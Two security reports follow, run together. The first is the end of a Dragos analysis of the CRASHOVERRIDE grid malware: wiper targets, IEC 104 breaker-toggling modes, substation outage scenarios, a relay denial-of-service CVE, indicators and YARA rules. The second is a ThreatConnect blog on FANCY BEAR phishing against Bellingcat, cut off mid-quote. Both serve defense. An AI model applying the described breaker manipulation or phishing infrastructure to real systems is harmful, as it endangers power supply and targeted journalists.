17 CRASHOVERRIDE : Threat to the Electic Grid Operations The wiper also targets file types unique to ABBs PCM600 product used in substa- tion automation in addition to more general Windows files.
The below table out- lines some of the unique file extensions used by industrial control systems.
File Extension Usage .pcmp PCM600 Project (ABB) .pcmi PCM600 IEC File (ABB) .pcmt PCM600 Template IED File .CIN ABB MicroScada .PL Programmable Logic File .paf PLC Archive File .SCL Substation Configuration Language .cid Configured IED Description .scd Substation Configuration Description Table 1.
File extensions targeted by the data wiper module IEC 104 Module Key Features Reads a configuration file defining the target (likely an RTU) and action to take Kills legitimate the master process on the victim host Masquerades as the new master Enters one of four modes: Sequence mode: continuously sets RTU IOAs to open Range mode: (1) Interrogates each RTU for valid IOAs (2) toggles each IOA between open and closed state Shift mode: unknown at this time Persist mode: unknown at this time/not fully implemented 18 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 3.
Protocol Transmission Types in IEC 104 19 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 4: Execution Flow of IEC 104 Module in CRASHOVERRIDE Details The CRASHOVERRIDE IEC 104 module is a complete implementation of IEC 104 to serve in a MASTER role.
This raw functionality creates a Swiss army knife for sub- station automation manipulation yet also provides tailored functionality.
The func- tions exposed to the malware operator are confined by the options of the configu- ration file.
This report outlines the options analyzed today but notes that extending and enhancing functionality is straight forward with the robust protocol implemen- tation.
20 CRASHOVERRIDE : Threat to the Electic Grid Operations The design of the IEC 104 module differs from the wiper and suggests that a sec- ondary group of developers could have been involved.
Instead of the exported crash function containing the primary execution instructions, the function parses the config file then starts a thread containing the IEC 104 master.
The configuration file can have multiple entries offset by [STATION], followed by 13 values: File Extension Usage target_ip NONE target_port NONE logfile NONE adsu NONE stop_comm_service 1 change 1 first_action on silence 0 uselog 0 stop_comm_service_name blank timeout 1 second socket_timeout 15 seconds range NONE Table 2.
IEC-104 module configuration file fields The configuration file is critical to achieving an effect on the target, as target spec- ifications for the device must be provided by the operator in the configuration file for the module to function.
There are no observed automated means of enumerat- ing the network and then impacting RTUs.
Each [STATION]entry spawns a thread for follow-on effects against ICS equipment.
Once the IEC 104 master thread begins, the first action is to try to kill the commu- nications service process which acts as the master process.
Once the module stops the communications service process, a socket opens with the target IP and desti- nation port sending data to slave devices and receiving the resulting responses.
21 CRASHOVERRIDE : Threat to the Electic Grid Operations Depending on the mode defined within the configuration file the module may: Set specific values Enumerate IOAs on the target devices Continuously set the IOA to open, or Continuously toggle the IOA between open and closed states.
This module contains no interactive capability.
RTUs and PLCs, in simplistic terms, act on input and output.
Each discrete input and output is tied to a memory address.
Depending on implementation these ad- dresses are referred to as coils, registers, or for IEC 104: information object ad- dresses (IOAs).
IOAs are typed and can hold different value types, such as Boolean or Unsigned Integer values.
The 104 module properly understands how to enu- merate and discover IOAs to operate breakers.
IEC 101 Module This module was unavailable to Dragos at the time of publication.
ESETs analysis claims the functionality is equivalent to the IEC 104 module except with communi- cations over serial.
However, Dragos was able to confirm that the module exists.
IEC 61850 Module This module was unavailable to Dragos at the time of publication.
ESETs analysis claims once executed the module leverages a configuration file to identify targets and without a configuration file it enumerates the local network to identify poten- tial targets.
It communicates with the targets to identify whether the device con- trols a circuit breaker switch.
For certain variables (no further information avail- able) it will change their state while also generating an action log.
However, Dragos was able to confirm that this module does exist.
OPC DA Module This module was unavailable to Dragos at the time of publication.
ESETs analysis claims the module does not require a configuration.
It enumerates all OPC servers and their associated items looking for a subset related to ABB containing the string ctl.
It then writes 0x01 twice  into the item overwriting the proper value giving the device a primary value out of limits device status.
However, Dragos was able to confirm that this module exists.
22 CRASHOVERRIDE : Threat to the Electic Grid Operations SIPROTEC DoS Module This module was unavailable to Dragos at the time of publication.
ESETs analysis claims the module sends UDP packets to port 50000 exploiting CVE-2015-5374 causing the SIPROTEC digital relay to fall into an unresponsive state.
Dragos could not validate that this module exists.
Capability Conclusions ELECTRUMs ability to adopt a development style described above has several im- plications: first, developers can integrate new protocols into the overall framework quickly.
Second, ELECTRUM could easily leverage external development teams skilled at exploiting industrial control systems.
Some adversaries would likely ap- proach capability development through a two-tier approach: a core development team skilled at writing the overall framework and a second team knowledgeable about a given control system.
The platform team would take the control sys- tem modules and add logic to fit them within the platform.
The IEC 104 module demonstrates this approach.
Given the execution described with secondary threads the team authoring the Crash function likely did not author the IEC 104 master portion of the code.
Both development teams probably worked together to decide on a log file format for consumption by the main Crash function and executed in each of the IEC 104 module threads.
Implications of capability This section describes legitimate CRASHOVERRIDE attack and impact scenarios.
Extensions of these and potential hypothetical scenarios were deemed indetermin- istic and will not be addressed.
Attack Option: De-energize substation CRASHOVERRIDE, based on prior knowledge, must have a configuration file for targeting information of one or multiple RTUs.
This configuration option allows for several types of activities.
One operation the configuration option allows is se- quence.
.
23 CRASHOVERRIDE : Threat to the Electic Grid Operations The command sequence polls the target device for the appropriate address- es.
Once it is at the subset of known addresses, it can then toggle the value.
The command then begins an infinite loop and continues to set addresses to this val- ue effectively opening closed breakers.
If a system operator tries to issue a close command on their HMI the sequence loop will continue to re-open the breaker.
This loop maintaining open breakers will effectively de-energize the substation line(s) preventing system operators from managing the breakers and re-energize the line(s).
The effects of de-energizing a line or substation largely depends on the system dynamics, power flows, and other variables.
In some circumstances, it may have no immediate impact while in others it could put customers into an outage.
It is im- portant to note that grid operations encompass failure modes and operations can normally compensate.
That is, after all, why humans are in the loop to monitor and maintain the system.
From a recovery standpoint, the remote staff will effectively have lost control of the breakers and will be required to send crews to the substation.
If the CRASHOVER- RIDE loop continues unabated, then the crews will likely sever communications as both a troubleshooting and recovery action.
Severing communications puts the substation in manual operation where a physical presence is now required.
This could result in a few hours of outages Attack Option: Force an Islanding event Dragos is currently investigating a separate and more disruptive attack option in CRASHOVERRIDE as described by ESET.
As before, the attacker must have a config- uration file for targeting information of one or multiple RTUs.
This configuration file now uses the range command to begin a loop that toggles the status of the break- er between open and close continuously.
The changing breaker status will invoke automated protective operations to isolate (commonly referred to as islanding) the substation.
This is an intentional self-protective capability of grid operations.
In effect, this breaker strobing takes the substation offline due to the protective relay schemes automated operations causing perturbations of some degree on the grid as scientific principles define how the behavior interacts with frequencies and phases.
The variables of these effects will dictate impacts but could cause system instabilities depending on the effectiveness of the protection relays and their oper- ations.
Grid operation contingencies become more critical if multiple substations were under attack likely resulting in many small islanding events.
This is assuming coordinated targeting of multiple electric sites and could result in a few days of outages.
24 CRASHOVERRIDE : Threat to the Electic Grid Operations Adding Amplification Attacks Forcing an islanding of a substation through continual breaker manipulation is sig- nificant by itself.
However, CRASHOVERRIDE has the potential to amplify this attack even more.
Two separate CRASHOVERRIDE modules offer this opportunity.
Using OPC to create a Denial of Visibility The OPC module ESET analysis suggests it can brute force values.
Module OPC.
exe will send out a 0x01 status which for the target systems equates to a Primary Variable Out of Limits misdirecting operators from understanding protective relay status.
Bit Mask Definition 0x10 More Status Available  More status information is available via Command 48, Read Additional Status Information.
0x08 Loop Current Fixed  The Loop Current is being held at a fixed value and is not responding to process variations.
0x04 Loop Current Saturated  The Loop Current has reached its upper (or lower) endpoint limit and cannot increase (or decrease) any further.
0x02 Non-Primary Variable Out of Limits  A Device variable not mapped to the PV is beyond its operating limits.
0x01 Primary Variable Out of Limits  The PV is beyond its operating limits.
The outcome of the action infers that various systems can either perform actions on wrong information or report incorrect information to system operators.
This Denial of Visibility will amplify misunderstanding and confusion while system op- erators troubleshoot the problem as their system view will show breakers closed when they are open.
.
25 CRASHOVERRIDE : Threat to the Electic Grid Operations Using CVE-2015-5374 to Hamper Protective Relays A second, and more severe, amplifying attack would be to neutralize the auto- mated protective system by creating a Denial of Service against some or all of the protective relays.
This possibility exists in a tool ESET has claimed to have discov- ered that implements the known CVE-2015-5374 Denial of Service condition to the Siemens SIPROTEC relays.
Siemens released a patch for this in July 2015 under Sie- mens advisory SCA-732541.
At this time it is believed that CVE-2015-5374 causes a denial of service (DoS) of the complete relay functionality and not just the network communications module.
Dragos has independent evidence that this module ex- ists but it cannot be confirmed.
Hampering the protective scheme by disabling the protective relays can broaden the islanding event and, if done at scale, could trigger a larger event causing multi- ple substations and lines islanding from the electric grid.
Siemens SIPROTEC was likely chosen in this attack only because that was the vendor device at the Ukraine Kiev site attacked in December 2016.
This same tactic against digital relays, albe- it not the same exploit, could have a similar impact on grid operations.
However, there are many different types of digital relays each with different configurations.
This amplifying attack would be very difficult to do at scale properly and would require a significant investment on behalf of the adversary.
26 CRASHOVERRIDE : Threat to the Electic Grid Operations Defense Recommendations Doing the basics is always appropriate, and it significantly helps move ICS into a defensible position.
However, they are not worth repeating here, and instead, more tailored approaches specific to ICS security analysts trying to defend against CRA- SHOVERRIDE and similar capabilities are presented below: Electric utility security teams should have a clear understanding of where and how IEC 104 and IEC 61850 protocols are used.
North American elec- tric utilities should include DNP3 on this list in case the malware is extended to impact U.S. systems.
Look specifically for increased usage of the proto- cols against baselines established in the environment.
Also, look for systems leveraging these protocols if they have not before and specifically try to identify systems that are generating new network flows using these proto- cols.
Similarly, understand OPC implementations and identify how the protocol is being used.
It is a protocol that is pervasive across numerous sectors.
Also, CRASHOVERRIDE is the second, out of four, ICS tailored malware suite with OPC capabilities.
OPC will appear abnormal in the CRASHOVERRIDE usage as it is being used to scan all devices on the network which would generate more traffic than usual.
Robust backups of engineering files such as project logic, IED configura- tion files, and ICS application installers should be offline and tested.
This will help reduce the impact of the wiper functionality.
Prepare incident response plans for this attack and perform table top exer- cises bringing in appropriate stakeholders and personnel across engineer- ing, operations, IT, and security.
The scenario should include substation outages with the requirement to do manual operations while recovering the SCADA environment and gathering appropriate forensics.
The included YARA rules and other indicators of compromise can be lever- aged to search for possible infections (IOCs).
The YARA rules will provide a higher confidence towards discovering an infection than the other IOCs and should be searched for against Windows OT systems especially noting HMIs.
The behavioral analytics to identify the communications on the network would provide the highest capability to detect this and similar threats.
27 CRASHOVERRIDE : Threat to the Electic Grid Operations While some defenses and architecture changes may have value in other situations, the following are responses that are not appropriate for this attack: Transmission and distribution companies should not rely on the usage of other protocols such as DNP3 as a protection mechanism.
The complete- ness of the CRASHOVERRIDE framework suggests there may be other un- disclosed modules such as a DNP3 module.
Also, adding this functionality into the existing framework would not require extensive work on the part of the adversary.
Air gapped networks, unidirectional firewalls, anti-virus in the ICS, and other passive defenses and architecture changes are not appropriate solutions for this attack.
No amount of security control will protect against a determined human adversary.
Human defenders are required CRASHOVERRIDE : Threat to the Electic Grid Operations Indicators TYPE SUBTYPE IOC Description ICS Kill Chain Impact Host Mutex Value ApiPortection9d3 Mutex value checked Stage 2: Install Recon Host Mutex Value Blank Value Mutex value created Stage 2: Install Recon Host File C:\Users\Public OR Executing User\ imapi File dropped and deleted after pro- gram exit Stage 2: Install Recon Host Service Name defragsvc Name given to service start Stage 2: C2 Remote Access Network IP Address 195.16.88.6 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 93.115.27.57 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 5.39.218.152 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network User Agent String Mozilla/4.0 (compatible MSIE 7.0 Win- dows NT 5.1 InfoPath.1) Default user agent string used in C2 if unable to get system default user agent string Stage 2: C2 Remote Access Host Command Line Drive:\name.exe -ipIP_address -portsports Command line arguments used to launch custom port scanner observed with malware.
Command line logging required to track.
Stage 2: Develop Recon Host Registry Key HKLM\SYSTEM\CurrentControlSet\Ser- vices\target_service_name\ImagePath path to malware Change in Service Image Path in the system registry to point to malware allowing malware to restart on system reboot.
Stage 2: Installa- tion Persistence Host SHA1 File Hash F6C21F8189CED6AE150F9E- F2E82A3A57843B587D Traffic to internalIP:3128, HTTP CONNECT to 5.39.218.152:443.
Back- door/RAT.
Phase2: C2 Remote Access Host SHA1 File Hash CCCCE62996D- 578B984984426A024D9B250237533 Traffic to internalIP:3128, HTTP CONNECT to 5.39.218.152:443.
Back- door/RAT.
Phase2: C2 Remote Access Host SHA1 File Hash 8E39ECA1E48240C01EE570631AE8F- 0C9A9637187 Backdoor/RAT Proxy  HTTP CON- NECT to 93.115.27.57:443.
Phase2: C2 Remote Access Host SHA1 File Hash 2CB8230281B86FA944D3043AE- 906016C8B5984D9 Backdoor/RAT Proxy  HTTP CON- NECT to 195.16.88.6:443 Phase2: C2 Remote Access CRASHOVERRIDE : Threat to the Electic Grid Operations Host SHA1 File Hash 79CA89711CDAEDB16B0CCCCFD- CFBD6AA7E57120A Launcher for payload DLL.
Takes input as three command line parameters  work- ing directory, module, and config file.
Stage 2: Attack Loss of Control Host SHA1 File Hash 94488F214B165512D2FC0438A581F- 5C9E3BD4D4C Module for 104 effect.
Exports Crash which is invoked by launcher.
Functional- ity requires config file.
Stage 2: Attack Loss of Control Host SHA1 File Hash 5A5FAFBC3FEC8D36FD57B075EBF- 34119BA3BFF04 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot.
Stage 2: Attack Destruction Host SHA1 File Hash B92149F046F00BB69DE329B8457D- 32C24726EE00 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot.
Stage 2: Attack Destruction Host SHA1 File Hash B335163E6EB854DF5E08E85026B- 2C3518891EDA8 Custom-built port scanner.
Stage 2: Develop Recon Host SHA1 File Hash 7FAC2EDDF22FF692E1B4E- 7F99910E5DBB51295E6 OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host SHA1 File Hash ECF6ADF20A7137A84A1B319C- CAA97CB0809A8454 IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename opc.exe OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host Filename 61850.exe IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename haslo.exe Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot.
Stage 2: Attack Destruction Host Filename 104.dll IEC-104 module Stage 2: Attack Loss of Control Host Filename haslo.dat Wiper module Stage 2: Attack Destruction OPC Server OPC Group Aabdul OPC DA Module Stage 2: Attack Loss of Visibility CRASHOVERRIDE : Threat to the Electic Grid Operations 30 Yara Rules Also found at https://github.com/dragosinc/CRASHOVERRIDE import pe import hash rule dragos_crashoverride_exporting_dlls  meta: description  CRASHOVERRIDE v1 Suspicious Export author  Dragos Inc condition: pe.exports(Crash)  pe.characteristics  rule dragos_crashoverride_suspcious  meta: description  CRASHOVERRIDE v1 Wiper author  Dragos Inc strings: s0  SYS_BASCON.COM fullword nocase wide s1  .pcmp fullword nocase wide s2  .pcmi fullword nocase wide s3  .pcmt fullword nocase wide s4  .cin fullword nocase wide condition: pe.exports(Crash) and any of (s)  CRASHOVERRIDE : Threat to the Electic Grid Operations 31 YARA Rules rule dragos_crashoverride_name_search meta: description  CRASHOVERRIDE v1 Suspicious Strings and Export author  Dragos Inc strings: s0  101.dll fullword nocase wide s1  Crash101.dll fullword nocase wide s2  104.dll fullword nocase wide s3  Crash104.dll fullword nocase wide s4  61850.dll fullword nocase wide s5  Crash61850.dll fullword nocase wide s6  OPCClientDemo.dll fullword nocase wide s7  OPC fullword nocase wide s8  CrashOPCClientDemo.dll fullword nocase wide s9  D2MultiCommService.exe fullword nocase wide s10  CrashD2MultiCommService.exe fullword nocase wide s11  61850.exe fullword nocase wide s12  OPC.exe fullword nocase wide s13  haslo.exe fullword nocase wide s14  haslo.dat fullword nocase wide condition: any of (s) and pe.exports(Crash)  CRASHOVERRIDE : Threat to the Electic Grid Operations 32 YARA Rules rule dragos_crashoverride_hashes meta: description  CRASHOVERRIDE Malware Hashes author  Dragos Inc condition: filesize  1MB and hash.sha1(0, filesize)  f6c21f8189ced6ae150f9ef2e82a3a57843b587d or hash.sha1(0, filesize)  cccce62996d578b984984426a024d9b250237533 or hash.sha1(0, filesize)  8e39eca1e48240c01ee570631ae8f0c9a9637187 or hash.sha1(0, filesize)  2cb8230281b86fa944d3043ae906016c8b5984d9 or hash.sha1(0, filesize)  79ca89711cdaedb16b0ccccfdcfbd6aa7e57120a or hash.sha1(0, filesize)  94488f214b165512d2fc0438a581f5c9e3bd4d4c or hash.sha1(0, filesize)  5a5fafbc3fec8d36fd57b075ebf34119ba3bff04 or hash.sha1(0, filesize)  b92149f046f00bb69de329b8457d32c24726ee00 or hash.sha1(0, filesize)  b335163e6eb854df5e08e85026b2c3518891eda8  CRASHOVERRIDE : Threat to the Electic Grid Operations 33 YARA Rules rule dragos_crashoverride_moduleStrings meta: description  IEC-104 Interaction Module Program Strings author  Dragos Inc strings: s1  IEC-104 client: ips ports ASDUu nocase wide ascii s2   MSTR - SLV nocase wide ascii s3   MSTR - SLV nocase wide ascii s4  Unknown APDU format  nocase wide ascii s5  iec104.log nocase wide ascii condition: any of (s)  rule dragos_crashoverride_configReader  meta: description  CRASHOVERRIDE v1 Config File Parsing author  Dragos Inc strings: s0   68 e8 ??
?? ?
?
6a 00 e8 a3 ??
?? ?
?
8b f8 83 c4 ?
8 s1   8a 10 3a 11 75 ?
?
84 d2 74 12 s2   33 c0 eb ?
?
1b c0 83 c8 ?
?
s3   85 c0 75 ?
?
8d 95 ??
??
?? ?
?
8b cf ?? ?
?
condition: all of them  CRASHOVERRIDE : Threat to the Electic Grid Operations 34 YARA Rules rule dragos_crashoverride_weirdMutex  meta: description  Blank mutex creation assoicated with CRASHOVERRIDE author  Dragos Inc strings: s1   81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ?
?
40 00 a3 ??
?? ?
?
00 85 c0 s2   8d 85 ??
?? ?
?
ff 50 57 57 6a 2e 57 ff 15 ??
?? ?
?
00 68 ?? ?
?
40 00 condition: all of them  rule dragos_crashoverride_serviceStomper  meta: description  Identify service hollowing and persistence setting author  Dragos Inc strings: s0   33 c9 51 51 51 51 51 51 ??
?? ?
?
s1   6a ff 6a ff 6a ff 50 ff 15 24 ?
?
40 00 ff ?? ?
?
ff 15 20 ?
?
40 00 condition: all of them  CRASHOVERRIDE : Threat to the Electic Grid Operations 35 YARA Rules rule dragos_crashoverride_wiperModuleRegistry  meta: description  Registry Wiper functionality assoicated with CRASHOVERRIDE author  Dragos Inc strings: s0   8d 85 a0 ??
?? ?
?
46 50 8d 85 a0 ??
?? ?
?
68 68 0d ?? ?
?
50 s1   6a 02 68 78 0b ?? ?
?
6a 02 50 68 b4 0d ?? ?
?
ff b5 98 ??
?? ?
?
ff 15 04 ??
?? ?
?
s2   68 00 02 00 00 8d 85 a0 ??
?? ?
?
50 56 ff b5 9c ??
?? ?
?
ff 15 00 ??
?? ?
?
85 c0 condition: all of them  rule dragos_crashoverride_wiperFileManipulation  meta: description  File manipulation actions associated with CRASHOVERRIDE wip- er author  Dragos Inc strings: s0   6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15 1c ??
?? ?
?
8b d8 s2   6a 00 50 57 56 53 ff 15 4c ??
?? ?
?
56 condition: all of them
ThreatConnect Research Team 9/28/2016 Belling the BEAR threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/ ThreatConnect reviews activity targeting Bellingcat, a key contributor in the MH17 investigation.
Read the full series of ThreatConnect posts following the DNC Breach: Rebooting Watergate: Tapping into the Democratic National Committee, Shiny Object?
Guccifer 2.0 and the DNC Breach, Whats in a Name Server?,
Guccifer 2.0: the Man, the Myth, the Legend?,
Guccifer 2.0: All Roads Lead to Russia , FANCY BEAR Has an (IT) Itch that They Cant Scratch, Does a BEAR Leak in the Woods?,
and Russian Cyber Operations on Steroids.
[
UPDATE] October 7th 2016 Introduction Since posting about the DNC hack, each time we published a blog post on a BEAR-based topic we thought it was going to be our last.
But like the Death Stars gravitational pull, the story keeps drawing us back in as new information comes to light.
Following our post on DCLeaks as a Russian influence operation , Bellingcat founder Eliot Higgins reached out to us.
Bellingcat, a group of citizen investigative journalists, has published articles critical of Russia and has been a key contributor to the international investigation of the shootdown of Malaysian Airlines Flight 17 (MH17)  over Ukraine in 2014.
Higgins shared data with ThreatConnect that indicates Bellingcat has come under sustained targeting by Russian threat actors, which allowed us to identify a 2015 spearphishing campaign that is consistent with FANCY BEARs tactics, techniques, and procedures.
We also analyzed a February 2016 attack by CyberBerkut  a group claiming to be pro-Russian Ukrainian hacktivists but also a suspected front for Moscow  against Russia-based Bellingcat contributor Ruslan Leviev, where CyberBerkut defaced the Bellingcat website and leaked Levievs personal details.
As evidenced by these efforts and the attack on the World Anti-Doping Agency, organizations that negatively impact Russias image can expect Russian cyber operations intended to retaliate publicly or privately, influence, or otherwise maliciously affect them.
The Diamond Model below summarizes the activity that Bellingcat experienced.
1/16 https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/ https://www.threatconnect.com/tapping-into-democratic-national-committee/ https://www.threatconnect.com/guccifer-2-0-dnc-breach/ https://www.threatconnect.com/whats-in-a-name-server/ https://www.threatconnect.com/reassesing-guccifer-2-0-recent-claims/ https://www.threatconnect.com/guccifer-2-all-roads-lead-russia/ https://www.threatconnect.com/fancy-bear-it-itch-they-cant-scratch/ https://www.threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ https://www.threatconnect.com/russia-hacks-bellingcat-mh17-investigationupdate https://threatconnect.com/blog/tapping-into-democratic-national-committee/ https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://www.bellingcat.com/ https://www.bellingcat.com/author/eliothiggins/ https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17 https://twitter.com/RuslanLeviev https://threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ http://www.activeresponse.org/the-diamond-model/ Bellingcat Background Bellingcat is a group of citizen investigative journalists  named after a classic fable  that uses open source information, such as photos and videos posted on social media, maps, and publicly available satellite imagery.
Bellingcat articles have focused on a variety of current events in Africa, the Middle East, the U.S., and Europe with a specific focus on notable conflicts related to Syria, Ukraine, and Russia.
Bellingcat published its first post on July 5, 2014, and for the next twelve days focused mainly on the ongoing Syrian civil war, covering developments such as the use of chemical weapons, but also occasionally pointing out Russian involvement.
On July 17, 2014, Malaysian Airlines Flight 17 crashed in pro-Russian rebel territory in eastern Ukraine and Bellingcat released their first post on the topic.
Over the next two years, Bellingcat would publish no fewer than 92 posts from at least 8 contributors focused on Russian involvement in the downing of MH17, using open source information and imagery to prove the presence of the Russian military in eastern Ukraine and that a Russian-supplied Buk missile launcher shot down MH17 from pro-Russian rebel territory.
The Kremlin vehemently denies this.
The Dutch took the lead in the criminal investigation through an international Joint Investigation Team (JIT)  and officially considered Bellingcats reporting in their investigation.
Founder Eliot Higgins was included as an official witness.
The Dutch Safety Board ultimately found MH17 was shot down by a Russian-made surface-to-air missile but declined to assign blame for who was responsible for the launch.
On September 28, the JIT is due to release the results of their criminal investigation.
Compromising Bellingcat contributors could provide Russian intelligence services with journalists contacts and sources, personal information, insight into future reporting perceived as indemnifying Russia, as well as sensitive personal information.
Such collection could facilitate influence operations and retaliation efforts against Bellingcat, or access that could be leveraged for follow-on operations.
Compromising Bellingcat contributors accounts could also provide access to communications with the JIT, offering a glimpse at how the investigation of the downing of MH17 was proceeding.
2/16 https://en.wikipedia.org/wiki/Belling_the_cat https://www.bellingcat.com/resources/case-studies/2014/07/17/geolocating-the-missile-launcher-linked-to-the-downing-of-mh17/ https://www.bellingcat.com/tag/mh17/ https://www.bellingcat.com/contributors/ https://www.om.nl/onderwerpen/mh17-crash/ https://www.washingtonpost.com/news/worldviews/wp/2015/10/13/a-dutch-report-will-say-what-downed-mh17-it-wont-blame-the-russians/ https://www.youtube.com/watch?vKDiLEyT9spI http://www.nltimes.nl/2016/08/22/mh17-dutch-criminal-investigation-results-ready-sept-28/ Activity Targeting Bellingcat Timeline The timeline below summarizes the notable dates related to the MH17 crash and investigation, Bellingcats articles related to those events, and the malicious activity targeting Bellingcat and Leviev.
Its important to note we do not have complete insight into all of the malicious activity that may have targeted Bellingcat during this timeframe.
FANCY BEAR From February 2015 to July 2016 three researchers at Bellingcat  Higgins, Aric Toler, and Veli-Peka Kivimaki  who had contributed MH17 articles received numerous spearphishing emails, with Higgins alone receiving at least 16 phishing emails targeting his personal email account.
A majority of the campaign took place from February to September 2015, with some activity resuming in May 2016.
These spearphishing attempts consist of a variety of spoofed Gmail security notices alerting the target that suspicious activity was detected on their account.
The target is prompted to click a URL resembling a legitimate Gmail security link to review the details of this suspicious activity.
Below are screenshots of some of the spearphishing email targeting Bellingcat researchers.
3/16 4/16 5/16 The attackers used several methods to redirect the target to credential harvesting pages.
In at least 21 of the emails, the URL redirects the victim to a shortened Bitly URL.
These shortened Bitly links, in turn, direct the victim to another Google-spoofing URL appended with the base64 encoded target email and name.
One of the emails used a shortened TINYCC URL to achieve the same effect.
In four of the other emails, the security links direct the target to a Google Sites page that spoofs a Google login page.
Once the target visits the Bitly, TINYCC, or Google Sites URLs, they are prompted to enter their Google credentials, which would then be captured by the threat actors.
The specifically crafted URLs with target-specific strings are consistent with a FANCY BEAR technique highlighted in Dell Secureworks research and employed against a DNC staffer whose files were leaked on DCLeaks.
Reviewing the click information for the Bitly links, we identified that at least three of the Bitly URLs targeting the same Bellingcat individual were accessed in the timeframe consistent with the spearphishing attack.
This suggests the individual clicked on the links in three of the spearphishing messages, but Bellingcat confirms that no credentials were supplied to these pages.
6/16 https://en.wikipedia.org/wiki/Base64 https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ Other consistencies with Russia and FANCY BEAR activity were also identified.
In early May and again in mid-June 2016 the Bellingcat contributor Aric Tolers personal email address was targeted by FANCY BEAR.
Using ThreatConnects Email Import function, we are able to identify that both messages abused Moscow-based Yandex email services to send malicious emails to the researcher.
In the May phishing example FANCY BEAR used the Yandex account berg01berg01yandex[.
]com.
In the June 2016 example, Toler was targeted with a message that used hellomail1yandex[.
]com in a manner consistent with how Billy Rinehart was targeted prior to content from his personal Gmail being posted to DCLeaks.
7/16 https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ By analyzing the email headers provided by Bellingcat, we identified domains and corresponding IP addresses that the attackers leveraged as part of the spearphishing operation.
The table below also shows the registrant for the domain, the creation date for the WHOIS record, and the name server the domain used during the attack timeframe.
Spearphishing Domain Mailserver IP Domain Registrant Domain Create Date Name Server During Attack Spearphishing Domain Mailserver IP Domain Registrant Domain Create Date Name Server During Attack mxx.evrosatory[.
]com 46.22.208.204 andre_roymail.com 2/13/14 Carbon2u.com accounts.servicegoogle[.
]com 155.254.36.155 theforeignnewsgmail.com 5/22/15 Cata501836.earth.orderbox- dns.com mxx.us-westmail- undeliversystem[.
]com 46.22.208.204 andre_roymail.com 2/28/14 Carbon2u.com mx1.servicetransfermail[.
]com 95.153.32.53 theforeignnewsgmail.com 6/3/15 Cata501836.earth.orderbox- dns.com accounts.google.com.rnil[.
]am 198.105.122.187 Private 7/7/14 Carbon2u.com mx6.set132[.
]com 198.105.122.187 emmer.brownmail.com 9/30/14 Carbon2u.com server.mx4.set132[.
]com 46.22.208.204 emmer.brownmail.com 9/30/14 Carbon2u.com The domains evrosatory[.]com,us-westmail-undeliversystem[.
]com have been previously identified by Pricewaterhouse 8/16 http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf Coopers as FANCY BEAR, and the domain servicetransfermail[.
]com closely resembles the servicetransferemail[.
]com infrastructure that German Intelligence (BvF) established as FANCY BEAR within Cyber Brief Nr.
01/2016.
FANCY BEAR also previously used both the Cata501836 and Carbon2u name servers to host infrastructure and email addresses from 11s mail.com to register domains.
We were able to identify further overlaps with other FANCY BEAR infrastructure by pivoting off of these indicators, which we will describe in a later blog post.
Based on these consistencies, we assess FANCY BEAR almost certainly is behind the spearphishing and credential harvesting campaign targeting Eliot Higgins and other Bellingcat researchers.
CyberBerkut Activity CyberBerkut describes itself as a group of pro-Russian Ukrainian hacktivists.
They borrow the  Berkut name from the now disbanded Ukrainian riot police who responded brutally to the 2014 EuroMaidan demonstrations in Kiev.
CyberBerkut runs a digitally-fueled, aggressive, active measures campaign directed against a pro-western government in Kiev and points of western influence  such as NATO  in eastern Europe.
CyberBerkut has conducted attacks across a spectrum of technical sophistication including distributed denial of service attacks (DDOS), disrupting and degrading the networks of Ukraines Central Election Commission during the 2014 election, hacking Ukrainian billboards and displaying pro-Russian messages, conducting computer network exploitation and strategic leaks of emails and documents, and leaking intercepted phone calls between high ranking Ukrainian officials.
This range suggests highly capable actors are behind CyberBerkut and they employ a high degree of operational planning when considering the offensive use of information and their effects.
CyberBerkut defaced the Bellingcat webpage on February 10, 2016, claiming credit for the attack and singling out Ruslan Leviev, a Russian opposition blogger and Bellingcat contributor.
Leviev published a compelling piece of citizen journalism on May 22, 2015 exploring the fate of Russian Spetsnaz soldiers believed to have been killed in combat operations within Ukraine earlier that month.
According to Bellingcat founder Higgins, Levievs contributor account was compromised and used to post the CyberBerkut message.
In an email interview, Leviev makes the following statement regarding the events that led to the compromise of his credentials and the defacement.
9/16 https://www.verfassungsschutz.de/download/broschuere-2016-03-bfv-cyber-brief-2016-01.pdf https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://threatconnect.com/blog/fancy-bear-it-itch-they-cant-scratch/ https://en.wikipedia.org/wiki/Berkut_(special_police_force) https://www.netflix.com/title/80031666 https://en.wikipedia.org/wiki/Active_measures https://ccdcoe.org/sites/default/files/multimedia/pdf/CyberWarinPerspective_full_book.pdf https://www.youtube.com/watch?vE8A2MIkiavE https://www.youtube.com/watch?vWkicw3EolCg https://twitter.com/bellingcat/status/697334674029412353 https://www.bellingcat.com/news/uk-and-europe/2015/05/22/three-graves/ In my case, my old email account, which was located on Yandex servers, was hacked.
